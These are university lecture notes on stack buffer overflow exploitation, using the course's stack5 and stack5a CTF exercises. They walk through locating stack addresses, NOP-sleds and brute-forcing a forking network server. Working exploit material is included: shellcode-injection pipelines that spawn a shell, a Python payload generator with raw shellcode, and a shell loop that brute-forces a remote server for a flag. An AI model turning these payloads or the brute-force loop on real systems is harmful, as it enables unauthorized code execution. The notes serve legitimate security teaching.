Brute forcing

G. Lettieri

16 October 2022

In the previous sections we have redirected the control flow of a victim process to an absolute address where we had injected some shellcode. The address was easy to obtain because it was the address of a global variable. Now we will study the `stack5` example, where we can only inject code on the stack. This makes the task a little bit more difficult, since stack addresses depend on many things. You can access the exercise with

```
ssh -p 4422 stack5@lettieri.iet.unipi.it
```

with `stack5` for the password (this is also challenge *stack5* on the snh-ctfd website).

Suppose that we want to inject the code at the beginnin of the `buffer` local variable. To execute the attack, we need two pieces of information:

1. the offset between `buffer` and the saved `rip`;
2. the absolute address of `buffer`.

We can frame the problem as follows: our attack typically requires (at least) two phases: a first phase, let's call it the *analysis* phase, in which we try to obtain the information necessary to launch the attack (i.e., in our case, the offset and the address just mentioned); a second phase, the *attack phase*, in which we use this information to launch the actual attack. We need to be sure that the information we get in the analysis phase is actually valid for the attack phase.

As long as we use the same binary (or a copy) in both phases, the offset will be the same. However, the address of `buffer` on the stack may change. To understand why this might be the case, consider what happens when a process runs a new program. The process, as we have learned, must execute the `execve(path, argv, envp)` call, where `path` is the filesystem path of an executable file (usually an ELF file in Linux), and both `argv` and `envp` are arrays of pointers to strings. The kernel flushes the process' current virtual memory and creates a new one, where it loads the `.text`, `.data`, and `.bss` sections contained or described in the ELF file[1], and allocates some space to be used as stack. Then, at the bottom of the stack, the kernel copies all the strings referenced by `envp` and `argv`, followed by an *auxiliary vector* which

[1] Actually, it loads possibly larger *segments* that contain these sections.

we will examine in another lecture, then the environment and argument arrays (pointing to the strings copied to the stack), and finally the number of elements in the argument array.

From the above description you can see that the initial value of the stack pointer seen by the binary, and thus the addresses of all the variables allocated on the stack—including our `buffer`—depend on the contents of the environment and the command line arguments passed to the program by its caller (which, in our case, may be the shell or `gdb`). Variations in the lengths of these strings will cause variations in the absolute address of `buffer`.

To get an idea of why these strings can change, here are some of the strings we need to keep track of:

PWD: what the `pwd` built-in command will print (it may differ from the output of `/bin/pwd` because of symlinks);

OLDPWD: were "`cd -`" will bring you; this is created the first time you issue a `cd` command;

_: (underscore) `bash` will set this to the resolved path of the executed command (i.e., the path that will be passed to `execve()`).

If we are connected via `ssh`, other variables can be added to the environment:

SSH_AUTH_SOCK: socket connected with the ssh-agent; absent if the agent is not forwarded or started; when present, it changes from one connection to another and the last number may differ in size;

SSH_CLIENT, SSH_CONNECTION: the second number is the port of the client and changes with each connection (unless connection reuse is active);

SSH_TTY: the pseudo-tty used by the ssh client.

Also, note that the `ssh` client will always send your `TERM` variable to the remote machine and, depending on the `SendEnv` option in `/etc/ssh/ssh_config`, it may also send additional environment variables (e.g., `LANG` and all the `LC_*` variables). Therefore, you may see differences when connecting from different machines. The `sudo` command removes many variables (e.g., `SSH_*`, depending on the configuration) and adds its own (`USERNAME`, `SUDO_UID`, `SUDO_GID`, `SUDO_COMMAND`, `SUDO_USER`).

If we start a program from within `gdb`, the environment will also contain the `COLUMNS` and `LINES` variables. In addition, `gdb` will pass the `_` variable inherited from the shell, but this will contain the resolved path of `gdb` instead of the resolved path of the command.

We also must be careful with `argv[0]`, which both the shell and `gdb` set to the path of the program itself; `gdb`, however, seems to always pass the absolute path.

Note that the stacks are always aligned to 16 bytes immediately before each `call`. This can either hide the differences or make them larger, depending on the exact values of `rsp` in the two cases.

0.1 Jumping to the exact stack address

In the attack phase we will typically run the binary from the shell. If we want to use `gdb` in the analysis phase, we can make the environment and `argv[0]` of the two phases the same by not changing the working directory, doctoring the `gdb` environment and using absolute paths in the shell. Something similar must be done if we want to get the address of `buffer` from a crash dump: to get the core file during the analysis phase, we must run a copy of the setuid/setgid program in a directory where we have write access, but the attack phase will target the original program and we must account for any difference in the length of the executable paths in the two phases. If connected through `ssh`, its convenient to do everything in the same session, so that the `ssh`-related variables don't change between the phases.

Let us apply these ideas to our example. Suppose that we want to run our analysis phase using the crash-dump/`cyclic` technique. We make a copy of `stack5` in a temporary directory and get a core dump:

```
cd $(mktemp -d)
ulimit -c unlimited
cp ~/stack5 .
cyclic -n 8 200 | ./stack5
```

By loading the core in `gdb` we can print the top of the stack and the value of `rsp`. The top of the stack should contain `0x6161616161616172`, corresponding to an offset of 136. Assume that `rsp` contains `0x7fffffffe418`. Since the crash occurred before the `rip` address was popped off the stack `rsp` now points to the saved `rip`. Therefore, the absolute address of `buffer` in the crashed process was:

$$7\text{fffffffe}418_{16} - 136 = 7\text{fffffffe}390_{16}$$

To make sure the address we have computed is be the address of `buffer` also during the attack phase, we can do the following without leaving of the temporary directory

```
rm stack5
ln -s /home/stack5/stack5
```

This will create a symbolic link to the original program in the current directory. This way we will be able to run the original, setuid/setgid program using the exact same path used during the analysis phase (`./stack5` in this case)[2]:

```
{
  shellcraft amd64.linux.setregid
  shellcraft amd64.linux.sh
```

[2]We don't want to change the current directory, since this changes `PWD` and `OLDPWD`. Another possibility is play with `cd` so that the two values are swapped in the analysis and attack phases, or to make sure that the name of the temporary directory is such that the paths used in the two phases have the same length.

```
  python3 -c 'print("A"*(136-64)+
    "\x7f\xff\xff\xff\xe3\x90"[::-1])'
  cat
} | ./stack5
```

(Note that `shellcraft` will automatically issue in raw mode if stdout is not a terminal, so we will omit the redundant "`-f raw`" option from now on).

If, instead, we want to do the analysis phase by running the program inside `gdb`, there is no need to move to a temporary directory or make a copy of `stack5`. On the other hand, we should remove the differences between the environment created by `gdb` and the one created by the shell. For example, we can run the following commands in `gdb` before starting the program:

```
  unset environment COLUMNS
  unset environment LINES
  set environment _ /home/stack5/stack5
```

Assume that `buffer` is still at address `0x7fffffffe390` (the address may differ from what we got above because `argv[0]` is different, and `PWD` and `OLWPWD` may be different). Now, in the attack phase, when we run the program from the shell, we should call `stack5` with its full path, so that `argv[0]` and `_` passed by the shell are the same as those passed by `gdb` during the analysis:

```
{
  shellcraft amd64.linux.setregid
  shellcraft amd64.linux.sh
  python3 -c 'print("A"*(136-64)+
    "\x7f\xff\xff\xff\xe3\x90"[::-1])'
  cat
} | /home/stack5/stack5
```

Yet another possibility (not available in the VM) is to run the program from the shell in both phases and, in the analysis phase, attach `gdb` to the running process (just pass the pid of the process as a second argument to `gdb`). In this way you don't need to account for environment differences between `gdb` and the shell. This, however, is only possible if the program is long running and/or blocks waiting for input, giving you enough time to start `gdb` and attach from another terminal. Moreover, you can only attach to processes that you own, so you may need to make a copy of a setuid binary and run that instead of the original one. Moreover, some systems are configured in a restricted mode where normal users cannot attach to processes at all, so even making a copy of the setuid/setgid program will not be enough and you must be able to become root, which only makes sense on a system that you own. Some systems are configured in an even more restricted way, where not even root can attach to running programs[3].

[3]The configuration is written in the `/proc/sys/kernel/yama/ptrace_scope`.file A

In some cases it may be easier to completely wipe out the environment, so that the only differences to consider are in `argv[0]`. This can be done from the shell by running the program with `env -i`. We can do the same from `gdb` by issuing the following command before starting the program:

```
set exec-wrapper env -i
```

Exercises

0.1. Reimplement the attack in Python 3 using the pwntools library.

0.2 Jumping to an approximate address

Jumping to shellcode on the stack is complex, but there is a way to make it easier by using a *NOP-sled*. A NOP-sled is a sequence of NOP instructions (binary 0x90) that we can place in front of the shellcode. Jumping anywhere in the sequence will lead to the shellcode.

In our example, a NOP-sled allows us to make the calculation of the absolute address of the injected shellcode less stringent. The idea is to move the shellcode as far as possibile and place a large enough NOP-sled in front of it. Then, we try to jump to the middle of the NOP-sled using only an *estimate* of the absolute address of `buffer` instead of the exact value. If our estimate is not too far off, we should still be able to land in the NOP-sled.

Of course, we want the NOP-sled to be as large as possible. How far can we push the shellcode away from the beginning of `buffer`? Remember that, when the shellcode starts running, `rsp` points below the saved `rip`. Therefore, the shellcode's `push` instructions will first overwrite our overwritten `rip` (that's OK, at that point we have already used it and we don't need it anymore) and then they will start overwriting the lower part of the buffer, where our shellcode lives. If we don't leave enough space, the shellcode may start overwriting itself!

If we examine the shellcode produced by

```
shellcraft -f asm amd64.linux.sh
```

we see that the maximum delta height that the stack reaches is 6 quadwords, or 48 bytes. Since we have 144 bytes available (the offset from `buffer` to the saved `rip`, plus the 8 bytes of `rip` itself that we can reuse) and the shellcode is 64 bytes (`setregid` plus `sh`), we can create a $144 - 64 - 48 = 32$ bytes NOP-sled, which is not much.

But, we can try an alternative solution: we try to put the shellcode *after* the saved `rip`, assuming that there is enough space on the stack. Note that in this case, since we are running the victim program ourselves, we can create all the space that we need by defining additional environment variables (or

value of 0 in that file means that no restriction is applied beyond the standard one (you can trace only your processes, unless you are root) and 2 means that maximum restrictions apply (nobody can trace anything and root cannot even write into this file).

additional command line arguments, if the program ignores them). Now we can put a reasonably long NOP-sled in front of the shellcode and jump in the middle of it, thus tolerating large offsets in the stack addresses. For example, in the analysis phase we run the program in `gdb`, this time without paying any attention to environment variables and paths, and we find the address below the saved `rip` during the execution of `start_level()`. Say that we find address `0x7fffffffe3e0`. We will then prepare an attack to jump to

$$7fffffffe3e0_{16} + 500 = 7fffffffe5d4_{16}.$$

The following command will most likely give us a shell:

```
{
  python3 -c 'print("A"*136+
    "\x00\x00\x7f\xff\xff\xff\xe5\xd4"[::-1]+
    "\x90"*1000, end="")'
  shellcraft amd64.linux.setregid
  shellcraft amd64.linux.sh
  echo
  cat
} | ./stack5
```

A few subtleties to note:

- In the previous attacks, we left out the two null bytes in the high part of the overwritten `rip`, reusing the null bytes that were already in memory; this time, we have to send them explicitly, because we need to inject more bytes after them (the NOPs and the shellcode);
- we have used `end=""` in the `print` command, otherwise the newline would be placed between the NOPs and the shellcode and the CPU would try to interpret it as part of an instruction;
- we have used `echo` to send a final newline, so that the `gets()` returns; in the previous attacks we just used the newline printed by python; if we remove the `echo`, the first line that we type in `cat` will be read by `gets()` and not by the spawned shell.

Exercises

0.2. Reimplement the attack in Python 3 using the pwntools library.

1 Brute force

If the NOP-sled is very small and the differences in the stack addresses are very large, the attack may fail. However, we should not despair: we can repeat the attack several times, at different addresses, until it succeeds. The NOP-sled is useful in this case to reduce the number of addresses we have to try.

This kind of "brute forcing" may also be necessary if we are not attacking a set-uid/set-gid program but, rather, a remote server listening on a socket. This scenario is the most realistic and the last one that we will consider. In this case the analysis is typically done offline on a system owned by the attacker, which is different from the one where the victim program is running. Now, we (as the attackers) need a copy of the binary to analyze it, but this is typically not a problem, if the victim program is a standard server. The real problem is that we cannot control the environment and arguments of the remote program, so we cannot affect the stack addresses of the victim process, and we have to guess them somehow. However, if the remote server is a classic forking server, we can still try several times until we succeed: each connection will give us a new process with a memory that is an exact copy of its parent.

In the following, we will use the `stack5a` example, which implements such a forking server, listening on a TCP/IP port for incoming connections. It can be reached by connecting to port 4405 of the host `lettieri.iet.unipi.it`. Each connection spawns a new child process, with stdin, stdout and stderr redirected to the connection. The child process then executes exactly the same `start_level()` function as `stack5`. We can download a copy of the binary and its source with

```
scp -P 4422 'stack5a@lettieri.iet.unipi.it:stack5*' .
```

The password is, as usual, `stack5a`.

We can analyze the downloaded binary in the usual way, with just a few modifications. If we want to create a crash dump we can use a couple of terminals, one to run the server and another to emulate the client. In the server terminal we issue `ulimit -c unlimited` before running `stack5a`. In the client terminal we can then run, for example

```
{ cyclic -n 8 200; echo; } | nc localhost 4405
```

(We need an `echo` because `nc` may not send anything to the server until it sees a newline). This should create a core file that we can inspect with `gdb`. If we want to run the server from within `gdb`, it is useful to issue the following `gdb` commands before running `stack5a`:

```
set follow-fork-mode child
set detach-on-fork off
```

The first command is needed because `gdb` attaches to the first process of `stack5a` (the one doing the `accept()`), but we are actually interested in what is going on in the child process (the one doing `start_level()`)[4]. The second command is not really needed, but if we don't use it, `gdb` will detach from the parent process while attaching to the child. In particular, this means that when we exit `gdb` the parent process will not be killed and will continue to keep port 4405 busy (in that case we will have to kill it by ourselves).

[4]Note that `pwndbg` has already issued this command for us.

```
1  import sys
2  import struct
3
4  # shellcraft -n -f string amd64.linux.sh
5  shellcode = b"jhH\xb8\x2fbin\x2f\x2f\x2f"+\
6              b"sPH\x89\xe7hri\x01\x01\x814"+\
7              b"\x24\x01\x01\x01\x011\xf6Vj"+\
8              b"\x08^H\x01\xe6VH\x89\xe61"+\
9              b"\xd2j;X\x0f\x05"
10 shstack   = 6*8
11 offset    = 136
12 base       = int(sys.argv[1], 0)
13 buffer    = base - (offset + 8)
14 nopsled   = (base - buffer) - len(shellcode) - shstack
15 jmptarget = buffer + nopsled//2
16
17 payload  = b"\x90" * nopsled
18 payload += shellcode
19 payload += b"A" * (shstack - 8)
20 payload += struct.pack('Q', jmptarget)
21
22 sys.stdout.buffer.write(payload + b"\n")
```

Figure 1: A python 3 script that outputs the payload for `stack5a` given an estimate for the base of the stack.

When we run the analysis, we find that the offset between `buffer` and the saved `rip` is 136. We can use this exact value in the attack phase. Instead, the address of `buffer` obtained in this phase, like any other address on the stack, is of limited use for the reasons explained above. Note that we also don't know how many bytes there are after the saved `rip`, so we avoid the solution of putting the payload under it with a large NOP-sled: if we write too many bytes, we might crash the server even if we had guessed the address. Therefore, we put the shellcode in the `buffer` and try to guess its address by brute force, using a NOP-sled to reduce the number of attempts. To calculate the size of the NOP-sled, we can proceed as we did at the beginning of Section 0.2, but there is an important difference: servers usually run directly with the uid/gid of their service and don't go through a setuid/setgid binary. This means that the real and effective uids (or gids) of server processes are already the same, and there is no need to inject a `setreuid/setregid` shellcode. This buys us a few more bytes to use for the NOP-sled: 16 more bytes in this case, for a total of 48.

To mount this attack we create a script that outputs the payload, given a base stack address, and then we write a shell script that tries every possible address. The script in Figure 1 expects a command line argument that should

```
for ((i=0x00007fffffff000; i >= 0x00007ffffffde000; i -= 48))
do
        printf "\n==> %#x\n" $i
        {
                python3 stack5a.py $i
                python3 -c 'print(" "*4096+"cat flag.txt")'
        } | nc lettieri.iet.unipi.it 4405
done 2> /dev/null | sed '/^SNH/q'
```

Figure 2: A shell script that performs a brute-force attack on `stack5a`.

be the assumed value of `rsp` when the shellcode starts executing, which is also the value that `rsp` had just before the `call` to `start_level`. This is a nice value to use since we know that it must be aligned to 16 and, therefore, we have fewer bits to guess.

Now we put the script in a `stack5a.py` file and we try every possible `rsp` address starting from the bottom of stack, at 48 bytes decrements (the size of the NOP-sled, already aligned to 16 in this case): The stack limits can be obtained by running the program in `gdb` and using the `info proc mappings` command. They are also available in `/proc/$PID/maps` while the program is running. A few finer points:

1. To fully automate the attack we send the `cat flat.txt` command in the last part of the payload; if we have succeeded in getting a shell, the command will be understood;

2. The final `sed` command stops everything as soon as it sees a line starting with the "`SNH`" string that should come from the flag.

3. For robustness, we prefix the `cat` command with lots of whitespace; the problem here is that the stdio buffering in the original program may read past the first newline, thus consuming the characters intended for the shell; the whitespace should satisfy stdio's appetite before it eats the `cat` command (semicolons would have worked too);

Exercises

1.1. Reimplement the attack in Python 3 using the pwntools library.